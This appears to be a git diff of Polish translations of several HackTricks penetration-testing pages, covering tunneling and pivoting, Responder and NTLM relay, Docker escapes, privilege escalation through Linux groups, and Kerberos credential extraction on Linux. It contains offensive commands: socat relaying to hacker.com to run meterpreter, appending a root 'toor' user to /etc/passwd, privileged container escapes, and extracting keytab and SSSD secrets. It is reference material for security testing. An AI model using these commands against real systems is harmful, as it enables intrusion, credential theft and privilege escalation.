Program `debug.exe` nie tylko umożliwia inspekcję plików binarnych, ale także ma **zdolność do odbudowywania ich z hex**. Oznacza to, że podając hex pliku binarnego, `debug.exe` może wygenerować plik binarny. Ważne jest jednak, aby zauważyć, że debug.exe ma **ograniczenie w składaniu plików do 64 kb**.
```bash
# Reduce the size
upx -9 nc.exe
@ -304,6 +304,10 @@ wine exe2bat.exe nc.exe nc.txt
```
Następnie skopiuj i wklej tekst do powłoki systemu Windows, a plik o nazwie nc.exe zostanie utworzony.
- [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
## DNS
- [https://github.com/Stratiz/DNS-Exfil](https://github.com/Stratiz/DNS-Exfil)
{{#include ../banners/hacktricks-training.md}}

View File

@ -5,7 +5,7 @@
## Nmap tip
> [!WARNING]
> **Skanowanie ICMP** i **SYN** nie mo być tunelowane przez proxy socks, więc musimy **wyłączyć odkrywanie ping** (`-Pn`) i określić **skanowanie TCP** (`-sT`), aby to działało.
> **Skanowanie ICMP** i **SYN** nie może być tunelowane przez proxy socks, więc musimy **wyłączyć odkrywanie ping** (`-Pn`) i określić **skany TCP** (`-sT`), aby to działało.
## **Bash**
@ -43,7 +43,7 @@ ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in
```
### Port2Port
Lokalny port --> Skompromitowany host (SSH) --> Trzecia_boks:Port
Lokalny port --> Skompromitowany host (SSH) --> Trzecia_puszka:Port
```bash
ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f] #This way the terminal is still in your host
#Example
@ -68,7 +68,7 @@ ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
```
### VPN-Tunnel
Musisz mieć **roota na obu urządzeniach** (ponieważ zamierzasz utworzyć nowe interfejsy) i konfiguracja sshd musi zezwalać na logowanie jako root:\
Musisz mieć **root na obu urządzeniach** (ponieważ zamierzasz utworzyć nowe interfejsy) i konfiguracja sshd musi zezwalać na logowanie jako root:\
`PermitRootLogin yes`\
`PermitTunnel yes`
```bash
@ -89,8 +89,8 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
```
## SSHUTTLE
Możesz **tunnel** przez **ssh** cały **ruch** do **podsieci** przez hosta.\
Na przykład, przekierowując cały ruch kierujący się do 10.10.10.0/24
Możesz **tunnel** przez **ssh** cały **traffic** do **subnetwork** przez hosta.\
Na przykład, przekierowując cały traffic kierujący się do 10.10.10.0/24
```bash
pip install sshuttle
sshuttle -r user@host 10.10.10.10/24
@ -134,7 +134,7 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
### SOCKS proxy
Otwórz port w serwerze zespołu nasłuchujący na wszystkich interfejsach, który może być używany do **przekierowywania ruchu przez beacon**.
Otwórz port w serwerze zespołowym nasłuchującym na wszystkich interfejsach, który może być użyty do **przekierowania ruchu przez beacon**.
```bash
beacon> socks 1080
[+] started SOCKS4a server on: 1080
@ -145,7 +145,7 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
### rPort2Port
> [!WARNING]
> W tym przypadku **port jest otwarty na hoście beacon**, a nie na serwerze Team Server, a ruch jest wysyłany do serwera Team Server, a stamtąd do wskazanego host:port
> W tym przypadku **port jest otwarty na hoście beacon**, a nie na serwerze zespołu, a ruch jest wysyłany do serwera zespołu, a stamtąd do wskazanego hosta:port
```bash
rportfwd [bind port] [forward host] [forward port]
rportfwd stop [bind port]
@ -160,7 +160,7 @@ Do zauważenia:
> [!WARNING]
> W tym przypadku **port jest otwierany na hoście beacona**, a nie na Serwerze Zespołu, a **ruch jest wysyłany do klienta Cobalt Strike** (a nie do Serwera Zespołu) i stamtąd do wskazanego hosta:port
```
```bash
rportfwd_local [bind port] [forward host] [forward port]
rportfwd_local stop [bind port]
```
@ -174,7 +174,7 @@ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/t
```
## Chisel
Możesz go pobrać ze strony wydań [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\
Możesz go pobrać z strony wydań [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\
Musisz używać **tej samej wersji dla klienta i serwera**
### socks
@ -186,7 +186,7 @@ Musisz używać **tej samej wersji dla klienta i serwera**
./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed)
./chisel client -v 10.10.10.10:8080 socks #Attacker
```
### Przekierowywanie portów
### Przekierowanie portów
```bash
./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker
./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim
@ -286,7 +286,7 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
#Execute the meterpreter
```
Możesz obejść **nieautoryzowany proxy**, wykonując tę linię zamiast ostatniej w konsoli ofiary:
Możesz obejść **proxy bez uwierzytelnienia**, wykonując tę linię zamiast ostatniej w konsoli ofiary:
```bash
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
```
@ -320,7 +320,7 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
```
## Plink.exe
To jak konsolowa wersja PuTTY (opcje są bardzo podobne do klienta ssh).
To jak wersja konsolowa PuTTY (opcje są bardzo podobne do klienta ssh).
Ponieważ ten plik binarny będzie uruchamiany na ofierze i jest klientem ssh, musimy otworzyć naszą usługę ssh i port, abyśmy mogli uzyskać połączenie zwrotne. Następnie, aby przekierować tylko lokalnie dostępny port na port w naszej maszynie:
```bash
@ -354,9 +354,9 @@ Na swoim komputerze klienckim załaduj **`SocksOverRDP-Plugin.dll`** w ten spos
# Load SocksOverRDP.dll using regsvr32.exe
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
```
Teraz możemy **połączyć** się z **ofiarą** za pomocą **RDP** używając **`mstsc.exe`**, i powinniśmy otrzymać **komunikat** informujący, że **plugin SocksOverRDP jest włączony**, i będzie **nasłuchiwać** na **127.0.0.1:1080**.
Teraz możemy **połączyć** się z **ofiarą** za pomocą **RDP** używając **`mstsc.exe`**, i powinniśmy otrzymać **komunikat** informujący, że **wtyczka SocksOverRDP jest włączona**, i będzie **nasłuchiwać** na **127.0.0.1:1080**.
**Połącz** się przez **RDP** i prześlij oraz uruchom na maszynie ofiary binarkę `SocksOverRDP-Server.exe`:
**Połącz** się przez **RDP** i prześlij oraz uruchom na maszynie ofiary plik binarny `SocksOverRDP-Server.exe`:
```
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
```
@ -364,18 +364,18 @@ Teraz potwierdź na swoim urządzeniu (atakującym), że port 1080 nasłuchuje:
```
netstat -antb | findstr 1080
```
Teraz możesz użyć [**Proxifier**](https://www.proxifier.com/) **do proxyfikacji ruchu przez ten port.**
Teraz możesz użyć [**Proxifier**](https://www.proxifier.com/) **do proxyzowania ruchu przez ten port.**
## Proxyfikacja aplikacji GUI w Windows
## Proxyzowanie aplikacji GUI w systemie Windows
Możesz sprawić, że aplikacje GUI w Windows będą korzystać z proxy za pomocą [**Proxifier**](https://www.proxifier.com/).\
Możesz sprawić, że aplikacje GUI w systemie Windows będą korzystać z proxy za pomocą [**Proxifier**](https://www.proxifier.com/).\
W **Profile -> Proxy Servers** dodaj adres IP i port serwera SOCKS.\
W **Profile -> Proxification Rules** dodaj nazwę programu do proxyfikacji oraz połączenia do adresów IP, które chcesz proxyfikować.
W **Profile -> Proxification Rules** dodaj nazwę programu do proxyzowania oraz połączenia do adresów IP, które chcesz proxyzować.
## Ominięcie proxy NTLM
Wcześniej wspomniane narzędzie: **Rpivot**\
**OpenVPN** również może to obejść, ustawiając te opcje w pliku konfiguracyjnym:
**OpenVPN** może również to obejść, ustawiając te opcje w pliku konfiguracyjnym:
```bash
http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
```
@ -442,7 +442,7 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b
```
#### Zmień DNS w proxychains
Proxychains przechwytuje wywołanie `gethostbyname` w libc i tuneluje zapytania DNS tcp przez proxy socks. Domyślnie serwer DNS, który używa proxychains, to **4.2.2.2** (wpisany na stałe). Aby go zmienić, edytuj plik: _/usr/lib/proxychains3/proxyresolv_ i zmień adres IP. Jeśli jesteś w **środowisku Windows**, możesz ustawić adres IP **kontrolera domeny**.
Proxychains przechwytuje wywołanie `gethostbyname` w libc i tuneluje zapytania DNS tcp przez proxy socks. Domyślnie serwer **DNS**, który używa proxychains, to **4.2.2.2** (wpisany na stałe). Aby go zmienić, edytuj plik: _/usr/lib/proxychains3/proxyresolv_ i zmień adres IP. Jeśli jesteś w **środowisku Windows**, możesz ustawić adres IP **kontrolera domeny**.
## Tunelowanie w Go
@ -480,7 +480,7 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1
## ngrok
[**ngrok**](https://ngrok.com/) **to narzędzie do eksponowania rozwiązań w Internecie w jednej linii poleceń.**\
_Adresy URI ekspozycji są jak:_ **UID.ngrok.io**
_URI eksponowania wygląda jak:_ **UID.ngrok.io**
### Instalacja

View File

@ -4,10 +4,10 @@
## Protokoły sieciowe
### Protokoły rozwiązywania nazw lokalnych
### Protokoły lokalnego rozwiązywania nazw
- **LLMNR, NBT-NS i mDNS**:
- Microsoft i inne systemy operacyjne używają LLMNR i NBT-NS do lokalnego rozwiązywania nazw, gdy DNS zawodzi. Podobnie systemy Apple i Linux używają mDNS.
- Microsoft i inne systemy operacyjne używają LLMNR i NBT-NS do lokalnego rozwiązywania nazw, gdy DNS zawiedzie. Podobnie, systemy Apple i Linux używają mDNS.
- Protokoły te są podatne na przechwytywanie i spoofing z powodu ich nieautoryzowanej, rozgłoszeniowej natury w UDP.
- [Responder](https://github.com/lgandx/Responder) może być używany do podszywania się pod usługi, wysyłając sfałszowane odpowiedzi do hostów zapytujących te protokoły.
- Dalsze informacje na temat podszywania się pod usługi za pomocą Respondera można znaleźć [tutaj](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
@ -20,7 +20,7 @@
### Responder do zatruwania protokołów
- **Responder** to narzędzie używane do zatruwania zapytań LLMNR, NBT-NS i mDNS, selektywnie odpowiadając na podstawie typów zapytań, głównie celując w usługi SMB.
- **Responder** to narzędzie używane do zatruwania zapytań LLMNR, NBT-NS i mDNS, selektywnie odpowiadając w zależności od typów zapytań, głównie celując w usługi SMB.
- Jest preinstalowane w Kali Linux, konfigurowalne w `/etc/responder/Responder.conf`.
- Responder wyświetla przechwycone hashe na ekranie i zapisuje je w katalogu `/usr/share/responder/logs`.
- Obsługuje zarówno IPv4, jak i IPv6.
@ -32,7 +32,7 @@
- Dla bardziej agresywnego skanowania (z potencjalnymi skutkami ubocznymi): `responder -I <Interface> -P -r -v`
- Techniki przechwytywania wyzwań/odpowiedzi NTLMv1 dla łatwiejszego łamania: `responder -I <Interface> --lm --disable-ess`
- Podszywanie się pod WPAD można aktywować za pomocą: `responder -I <Interface> --wpad`
- Żądania NetBIOS mogą być rozwiązywane do IP atakującego, a proxy uwierzytelniające można skonfigurować: `responder.py -I <interface> -Pv`
- Żądania NetBIOS mogą być rozwiązywane do IP atakującego, a proxy uwierzytelniające można ustawić: `responder.py -I <interface> -Pv`
### Zatruwanie DHCP za pomocą Respondera
@ -43,7 +43,7 @@
### Przechwytywanie poświadczeń za pomocą Respondera
- Responder będzie podszywał się pod usługi korzystające z wyżej wymienionych protokołów, przechwytując poświadczenia (zwykle NTLMv2 Challenge/Response), gdy użytkownik próbuje uwierzytelnić się w podszywających się usługach.
- Responder będzie podszywał się pod usługi przy użyciu wyżej wymienionych protokołów, przechwytując poświadczenia (zwykle NTLMv2 Challenge/Response), gdy użytkownik próbuje uwierzytelnić się w podszywających się usługach.
- Można próbować obniżyć wersję do NetNTLMv1 lub wyłączyć ESS dla łatwiejszego łamania poświadczeń.
Ważne jest, aby zauważyć, że stosowanie tych technik powinno odbywać się legalnie i etycznie, zapewniając odpowiednie upoważnienie i unikając zakłóceń lub nieautoryzowanego dostępu.
@ -53,16 +53,16 @@ Ważne jest, aby zauważyć, że stosowanie tych technik powinno odbywać się l
Inveigh to narzędzie dla testerów penetracyjnych i zespołów red, zaprojektowane dla systemów Windows. Oferuje funkcjonalności podobne do Respondera, wykonując ataki spoofingowe i man-in-the-middle. Narzędzie ewoluowało z skryptu PowerShell do binarnego pliku C#, z [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) i [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) jako głównymi wersjami. Szczegółowe parametry i instrukcje można znaleźć w [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).
Inveigh można obsługiwać za pomocą PowerShell:
```powershell
```bash
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
```
Lub wykonane jako binarne C#:
Lub wykonane jako binarny plik C#:
```bash
Inveigh.exe
```
### NTLM Relay Attack
Atak ten wykorzystuje sesje uwierzytelniania SMB do uzyskania dostępu do docelowej maszyny, przyznając powłokę systemową w przypadku sukcesu. Kluczowe wymagania wstępne obejmują:
Atak ten wykorzystuje sesje uwierzytelniania SMB do uzyskania dostępu do docelowej maszyny, przyznając powłokę systemową, jeśli się powiedzie. Kluczowe wymagania wstępne obejmują:
- Użytkownik uwierzytelniający musi mieć dostęp lokalnego administratora na hostie, na który jest przekazywane połączenie.
- Podpisywanie SMB powinno być wyłączone.

View File

@ -10,7 +10,7 @@ Możesz **zamontować** różne części **systemu plików** w kontenerze dział
Możesz również **wykorzystać montowanie do eskalacji uprawnień** wewnątrz kontenera.
- **`-v /:/host`** -> Zamontuj system plików hosta w kontenerze, aby móc **czytać system plików hosta.**
- Jeśli chcesz **czuć się jak na hoście**, ale będąc w kontenerze, możesz wyłączyć inne mechanizmy obronne, używając flag takich jak:
- Jeśli chcesz **czuć się jak na hoście**, będąc w kontenerze, możesz wyłączyć inne mechanizmy obronne, używając flag takich jak:
- `--privileged`
- `--cap-add=ALL`
- `--security-opt apparmor=unconfined`
@ -20,7 +20,7 @@ Możesz również **wykorzystać montowanie do eskalacji uprawnień** wewnątrz
- `--userns=host`
- `--uts=host`
- `--cgroupns=host`
- \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> To jest podobne do poprzedniej metody, ale tutaj **montujemy dysk urządzenia**. Następnie, wewnątrz kontenera uruchom `mount /dev/sda1 /mnt` i możesz **uzyskać dostęp** do **systemu plików hosta** w `/mnt`
- **`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined`** -> To jest podobne do poprzedniej metody, ale tutaj **montujemy dysk urządzenia**. Następnie, wewnątrz kontenera uruchom `mount /dev/sda1 /mnt` i możesz **uzyskać dostęp** do **systemu plików hosta** w `/mnt`
- Uruchom `fdisk -l` na hoście, aby znaleźć urządzenie `</dev/sda1>` do zamontowania
- **`-v /tmp:/host`** -> Jeśli z jakiegoś powodu możesz **zamontować tylko niektóre katalogi** z hosta i masz dostęp wewnątrz hosta. Zamontuj go i utwórz **`/bin/bash`** z **suid** w zamontowanym katalogu, aby móc **wykonać go z hosta i eskalować do roota**.

View File

@ -2,9 +2,9 @@
{{#include ../../../banners/hacktricks-training.md}}
## Czym jest Distroless
## Co to jest Distroless
Kontener distroless to rodzaj kontenera, który **zawiera tylko niezbędne zależności do uruchomienia konkretnej aplikacji**, bez dodatkowego oprogramowania lub narzędzi, które nie są wymagane. Te kontenery są zaprojektowane, aby być jak **najlżejsze** i **najbezpieczniejsze** możliwe, a ich celem jest **minimalizacja powierzchni ataku** poprzez usunięcie wszelkich zbędnych komponentów.
Kontener distroless to rodzaj kontenera, który **zawiera tylko niezbędne zależności do uruchomienia konkretnej aplikacji**, bez dodatkowego oprogramowania lub narzędzi, które nie są wymagane. Te kontenery są zaprojektowane, aby być jak **najlżejsze** i **bezpieczne** jak to możliwe, a ich celem jest **minimalizacja powierzchni ataku** poprzez usunięcie wszelkich zbędnych komponentów.
Kontenery distroless są często używane w **środowiskach produkcyjnych, gdzie bezpieczeństwo i niezawodność są kluczowe**.
@ -25,6 +25,6 @@ Nadchodzi w pewnym momencie 2023...
#### openssl
\***\*[**W tym poście,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) wyjaśniono, że binarka **`openssl`** jest często spotykana w tych kontenerach, potencjalnie dlatego, że jest **potrzebna\*\* przez oprogramowanie, które ma działać wewnątrz kontenera.
\***\*[**W tym poście,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) wyjaśniono, że binarka **`openssl`** jest często znajdowana w tych kontenerach, potencjalnie dlatego, że jest **potrzebna** przez oprogramowanie, które ma działać wewnątrz kontenera.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -72,7 +72,7 @@ Użytkownicy z **grupy shadow** mogą **czytać** plik **/etc/shadow**:
```
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
```
So, read the file and try to **crack some hashes**.
So, przeczytaj plik i spróbuj **złamać niektóre hashe**.
## Grupa Pracowników
@ -148,7 +148,7 @@ debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
```
Jednakże, jeśli spróbujesz **zapisać pliki należące do roota** (takie jak `/etc/shadow` lub `/etc/passwd`), otrzymasz błąd "**Permission denied**".
## Grupa Wideo
## Grupa Video
Używając polecenia `w`, możesz znaleźć **kto jest zalogowany w systemie** i wyświetli to wynik podobny do poniższego:
```bash
@ -163,7 +163,7 @@ Grupa **video** ma dostęp do wyświetlania wyjścia ekranu. W zasadzie możesz
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
```
Aby **otworzyć** **surowy obraz**, możesz użyć **GIMP**, wybrać plik **`screen.raw`** i jako typ pliku wybrać **Surowe dane obrazu**:
Aby **otworzyć** **surowy obraz**, możesz użyć **GIMP**, wybrać plik **`screen.raw`** i jako typ pliku wybrać **Dane surowego obrazu**:
![](<../../../images/image (463).png>)
@ -175,7 +175,7 @@ Następnie zmodyfikuj Szerokość i Wysokość na te używane na ekranie i spraw
Wygląda na to, że domyślnie **członkowie grupy root** mogą mieć dostęp do **modyfikacji** niektórych plików konfiguracyjnych **usług** lub niektórych plików **bibliotek** lub **innych interesujących rzeczy**, które mogą być użyte do eskalacji uprawnień...
**Sprawdź, które pliki członkowie roota mogą modyfikować**:
**Sprawdź, które pliki członkowie root mogą modyfikować**:
```bash
find / -group root -perm -g=w 2>/dev/null
```
@ -193,13 +193,13 @@ echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/pa
#Ifyou just want filesystem and network access you can startthe following container:
docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash
```
Na koniec, jeśli nie podoba Ci się żadna z wcześniejszych sugestii lub z jakiegoś powodu nie działają (firewall API dockera?), zawsze możesz spróbować **uruchomić kontener z uprawnieniami i wydostać się z niego**, jak wyjaśniono tutaj:
Na koniec, jeśli nie podoba Ci się żadna z wcześniejszych sugestii lub z jakiegoś powodu nie działają (firewall API dockera?), zawsze możesz spróbować **uruchomić uprzywilejowany kontener i uciec z niego**, jak wyjaśniono tutaj:
{{#ref}}
../docker-security/
{{#endref}}
Jeśli masz uprawnienia do zapisu w gnieździe dockera, przeczytaj [**ten post o tym, jak eskalować uprawnienia, nadużywając gniazda dockera**](../index.html#writable-docker-socket)**.**
Jeśli masz uprawnienia do zapisu w gnieździe dockera, przeczytaj [**ten post o tym, jak podnieść uprawnienia, nadużywając gniazda dockera**](../index.html#writable-docker-socket)**.**
{{#ref}}
https://github.com/KrustyHack/docker-privilege-escalation
@ -217,12 +217,12 @@ https://fosterelli.co/privilege-escalation-via-docker.html
## Grupa Adm
Zazwyczaj **członkowie** grupy **`adm`** mają uprawnienia do **odczytu plików** dziennika znajdujących się w _/var/log/_.\
Zazwyczaj **członkowie** grupy **`adm`** mają uprawnienia do **czytania plików** dziennika znajdujących się w _/var/log/_.\
Dlatego, jeśli skompromitowałeś użytkownika w tej grupie, zdecydowanie powinieneś **sprawdzić logi**.
## Grupa Auth
W OpenBSD grupa **auth** zazwyczaj może pisać w folderach _**/etc/skey**_ i _**/var/db/yubikey**_, jeśli są używane.\
Te uprawnienia mogą być nadużywane za pomocą następującego exploita, aby **eskalować uprawnienia** do roota: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
Te uprawnienia mogą być nadużywane za pomocą następującego exploita, aby **podnieść uprawnienia** do roota: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
Maszyna linuxowa może również być obecna w środowisku Active Directory.
Maszyna linuxowa może również znajdować się w środowisku Active Directory.
Maszyna linuxowa w AD może **przechowywać różne bilety CCACHE w plikach. Te bilety mogą być używane i nadużywane jak każdy inny bilet kerberos**. Aby odczytać te bilety, musisz być właścicielem biletu lub **rootem** na maszynie.
@ -10,9 +10,9 @@ Maszyna linuxowa w AD może **przechowywać różne bilety CCACHE w plikach. Te
### Enumeracja AD z linuxa
Jeśli masz dostęp do AD w linuxie (lub bash w Windows), możesz spróbować [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) do enumeracji AD.
Jeśli masz dostęp do AD w linuxie (lub bashu w Windows), możesz spróbować [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) do enumeracji AD.
Możesz również sprawdzić następującą stronę, aby dowiedzieć się o **innych sposobach enumeracji AD z linuxa**:
Możesz również sprawdzić następującą stronę, aby poznać **inne sposoby enumeracji AD z linuxa**:
{{#ref}}
../../network-services-pentesting/pentesting-ldap.md
@ -20,7 +20,7 @@ Możesz również sprawdzić następującą stronę, aby dowiedzieć się o **in
### FreeIPA
FreeIPA to otwarte źródło **alternatywa** dla Microsoft Windows **Active Directory**, głównie dla środowisk **Unix**. Łączy kompletny **katalog LDAP** z centrum dystrybucji kluczy MIT **Kerberos** do zarządzania podobnego do Active Directory. Wykorzystując system certyfikatów Dogtag do zarządzania certyfikatami CA i RA, wspiera **uwierzytelnianie wieloskładnikowe**, w tym karty inteligentne. SSSD jest zintegrowany z procesami uwierzytelniania Unix. Dowiedz się więcej o tym w:
FreeIPA to otwartoźródłowa **alternatywa** dla Microsoft Windows **Active Directory**, głównie dla środowisk **Unix**. Łączy kompletny **katalog LDAP** z centrum dystrybucji kluczy MIT **Kerberos** do zarządzania podobnego do Active Directory. Wykorzystując system certyfikatów Dogtag do zarządzania certyfikatami CA i RA, wspiera **uwierzytelnianie wieloskładnikowe**, w tym karty inteligentne. SSSD jest zintegrowany z procesami uwierzytelniania Unix. Dowiedz się więcej o tym w:
{{#ref}}
../freeipa-pentesting.md
@ -30,7 +30,7 @@ FreeIPA to otwarte źródło **alternatywa** dla Microsoft Windows **Active Dire
### Pass The Ticket
Na tej stronie znajdziesz różne miejsca, w których możesz **znaleźć bilety kerberos w hoście linux**, na następnej stronie możesz dowiedzieć się, jak przekształcić te formaty biletów CCache na Kirbi (format, którego musisz użyć w Windows) oraz jak przeprowadzić atak PTT:
Na tej stronie znajdziesz różne miejsca, w których możesz **znaleźć bilety kerberos w hoście linuxowym**, na następnej stronie możesz nauczyć się, jak przekształcić te formaty biletów CCache na Kirbi (format, którego musisz użyć w Windows) oraz jak przeprowadzić atak PTT:
{{#ref}}
../../windows-hardening/active-directory-methodology/pass-the-ticket.md
@ -51,7 +51,7 @@ export KRB5CCNAME=/tmp/krb5cc_1000
```
### CCACHE ticket reuse from keyring
**Bilety Kerberos przechowywane w pamięci procesu mogą być wyodrębnione**, szczególnie gdy ochrona ptrace maszyny jest wyłączona (`/proc/sys/kernel/yama/ptrace_scope`). Przydatnym narzędziem do tego celu jest dostępne pod adresem [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), które ułatwia wyodrębnianie poprzez wstrzykiwanie do sesji i zrzucanie biletów do `/tmp`.
**Bilety Kerberos przechowywane w pamięci procesu mogą być wyodrębnione**, szczególnie gdy ochrona ptrace maszyny jest wyłączona (`/proc/sys/kernel/yama/ptrace_scope`). Przydatne narzędzie do tego celu znajduje się pod adresem [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), które ułatwia wyodrębnianie poprzez wstrzykiwanie do sesji i zrzucanie biletów do `/tmp`.
Aby skonfigurować i używać tego narzędzia, należy postępować zgodnie z poniższymi krokami:
```bash
@ -66,7 +66,7 @@ Ta procedura spróbuje wstrzyknąć do różnych sesji, wskazując na sukces pop
SSSD utrzymuje kopię bazy danych pod ścieżką `/var/lib/sss/secrets/secrets.ldb`. Odpowiedni klucz jest przechowywany jako ukryty plik pod ścieżką `/var/lib/sss/secrets/.secrets.mkey`. Domyślnie klucz jest czytelny tylko, jeśli masz uprawnienia **root**.
Wywołanie \*\*`SSSDKCMExtractor` \*\* z parametrami --database i --key przeanalizuje bazę danych i **odszyfruje sekrety**.
Wywołanie **`SSSDKCMExtractor`** z parametrami --database i --key zanalizuje bazę danych i **odszyfruje sekrety**.
```bash
git clone https://github.com/fireeye/SSSDKCMExtractor
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
@ -79,16 +79,16 @@ git clone https://github.com/its-a-feature/KeytabParser
python KeytabParser.py /etc/krb5.keytab
klist -k /etc/krb5.keytab
```
### Wyciągnij konta z /etc/krb5.keytab
### Ekstrakcja kont z /etc/krb5.keytab
Klucze kont serwisowych, niezbędne dla usług działających z uprawnieniami roota, są bezpiecznie przechowywane w plikach **`/etc/krb5.keytab`**. Te klucze, podobnie jak hasła dla usług, wymagają ścisłej poufności.
Klucze kont serwisowych, niezbędne dla usług działających z uprawnieniami roota, są bezpiecznie przechowywane w plikach **`/etc/krb5.keytab`**. Klucze te, podobnie jak hasła dla usług, wymagają ścisłej poufności.
Aby sprawdzić zawartość pliku keytab, można użyć **`klist`**. Narzędzie to jest zaprojektowane do wyświetlania szczegółów kluczy, w tym **NT Hash** dla uwierzytelniania użytkowników, szczególnie gdy typ klucza jest identyfikowany jako 23.
Aby sprawdzić zawartość pliku keytab, można użyć **`klist`**. Narzędzie to jest zaprojektowane do wyświetlania szczegółów kluczy, w tym **NT Hash** do uwierzytelniania użytkowników, szczególnie gdy typ klucza jest identyfikowany jako 23.
```bash
klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab
# Output includes service principal details and the NT Hash
```
Dla użytkowników Linuxa, **`KeyTabExtract`** oferuje funkcjonalność do ekstrakcji hasha RC4 HMAC, który można wykorzystać do ponownego użycia hasha NTLM.
Dla użytkowników systemu Linux, **`KeyTabExtract`** oferuje funkcjonalność do ekstrakcji hasha RC4 HMAC, który można wykorzystać do ponownego użycia hasha NTLM.
```bash
python3 keytabextract.py krb5.keytab
# Expected output varies based on hash availability

View File

@ -7,8 +7,8 @@
W architekturze ARMv8 poziomy wykonania, znane jako Poziomy Wyjątków (EL), definiują poziom uprawnień i możliwości środowiska wykonawczego. Istnieją cztery poziomy wyjątków, od EL0 do EL3, z których każdy ma inny cel:
1. **EL0 - Tryb Użytkownika**:
- Jest to poziom o najmniejszych uprawnieniach i jest używany do wykonywania zwykłego kodu aplikacji.
- Aplikacje działające na poziomie EL0 są izolowane od siebie i od oprogramowania systemowego, co zwiększa bezpieczeństwo i stabilność.
- Jest to poziom o najmniejszych uprawnieniach i służy do wykonywania zwykłego kodu aplikacji.
- Aplikacje działające na poziomie EL0 są od siebie izolowane oraz od oprogramowania systemowego, co zwiększa bezpieczeństwo i stabilność.
2. **EL1 - Tryb Jądra Systemu Operacyjnego**:
- Większość jąder systemów operacyjnych działa na tym poziomie.
- EL1 ma więcej uprawnień niż EL0 i może uzyskiwać dostęp do zasobów systemowych, ale z pewnymi ograniczeniami, aby zapewnić integralność systemu.
@ -16,7 +16,7 @@ W architekturze ARMv8 poziomy wykonania, znane jako Poziomy Wyjątków (EL), def
- Ten poziom jest używany do wirtualizacji. Hypervisor działający na poziomie EL2 może zarządzać wieloma systemami operacyjnymi (każdy w swoim własnym EL1) działającymi na tym samym sprzęcie fizycznym.
- EL2 zapewnia funkcje izolacji i kontroli wirtualizowanych środowisk.
4. **EL3 - Tryb Monitorowania Bezpieczeństwa**:
- Jest to poziom o najwyższych uprawnieniach i jest często używany do bezpiecznego uruchamiania i zaufanych środowisk wykonawczych.
- Jest to poziom o najwyższych uprawnieniach i często jest używany do bezpiecznego uruchamiania i zaufanych środowisk wykonawczych.
- EL3 może zarządzać i kontrolować dostęp między stanami bezpiecznymi i niebezpiecznymi (takimi jak bezpieczne uruchamianie, zaufany system operacyjny itp.).
Użycie tych poziomów pozwala na uporządkowany i bezpieczny sposób zarządzania różnymi aspektami systemu, od aplikacji użytkownika po najbardziej uprzywilejowane oprogramowanie systemowe. Podejście ARMv8 do poziomów uprawnień pomaga w skutecznym izolowaniu różnych komponentów systemu, co zwiększa bezpieczeństwo i odporność systemu.
